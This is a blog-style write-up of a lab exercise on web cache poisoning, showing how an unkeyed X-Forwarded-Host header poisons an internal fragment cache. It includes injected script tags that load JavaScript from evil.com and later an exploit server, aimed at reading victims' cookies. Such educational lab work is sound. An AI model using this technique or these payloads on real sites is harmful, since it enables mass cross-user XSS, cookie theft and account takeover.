Disclaimer: The techniques described in this document are intended solely for ethical use and educational purposes. Unauthorized use of these methods outside approved environments is strictly prohibited, as it is illegal, unethical, and may lead to severe consequences.
It is crucial to act responsibly, comply with all applicable laws, and adhere to established ethical guidelines. Any activity that exploits security vulnerabilities or compromises the safety, privacy, or integrity of others is strictly forbidden.
Table of Contents
Summary of the Vulnerability
This lab demonstrates a web cache poisoning flaw where multiple caching layers (an external cache and an internal fragment cache) treat different parts of an HTTP request inconsistently when building their cache keys.
Because one internal cache does not include certain inputs (an attacker-controlled header) in its key, an attacker can force the internal cache to store a malicious fragment (a JavaScript file) that will later be stitched into the site's home page and executed in victims' browsers.
Attacker's goal in the lab:
Poison the internally cached fragment so that when the victim visits the home page, the page imports an attacker-hosted script which runs alert(document.cookie),demonstrating a cached, cross-user XSS delivered via internal cache poisoning
Steps to Reproduce & Proof of Concept (PoC)
① Open the cache-poisoning lab. Observe the HTTP history for the GET / request and send it to Repeater.
② Add the /?cachebuster=123 parameter to the request and observe how the application behaves
③ We see that cachebuster is reflected in the response, which indicates this parameter is part of the external cache key.
④ Remove the /?cachebuster=123 parameter before launching Param Miner.
⑤ In Repeater: Right-click → Extensions → Param Miner → Guess headers.
⑥ I set the attack configuration as follows: (attack config used here).
⑦ After waiting a couple of minutes, identify a X-Forwarded-Host header that can be used for the next stage of exploitation.
⑧ Test using evil.com and confirm that our malicious domain is reflected in the response.
⑨ Note there are only two HTML components that are initially overridden by the malicious domain:
<link rel="canonical" href='//evil.com...'>
<script type="text/javascript" src="//evil.com/resources/js/analytics.js"></script>⑩ The remaining component to override is geolocate.js.
⑪ Continue sending the crafted requests until all three components are overridden by the malicious domain.
⑫ Open the exploit server and prepare the attack payload.
⑬ Change the X-Forwarded-Host: evil.com header to your exploit server, and keep sending requests until the components are overridden.
⑭ Refresh the lab; the main page should display an XSS popup. The lab is solved.
Impact
When an attacker successfully poisons an internal or shared cache with attacker-controlled JavaScript or HTML, the malicious content can be served to many users automatically.
This converts a single exploitation primitive into a mass-impact vulnerability (persistent, widely distributed XSS) that can enable cookie theft, account takeover, credential harvesting, and persistent drive-by malware delivery via script.
The severity is typically high because the cached payload is served without further attacker interaction.
📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:
- 📖 Medium: bashoverflow.medium.com
- 🐦 Twitter / X: @_havij
- </> Github: havij13
- ☕ Coffee: Ko-fi
🙏Your support is appreciated.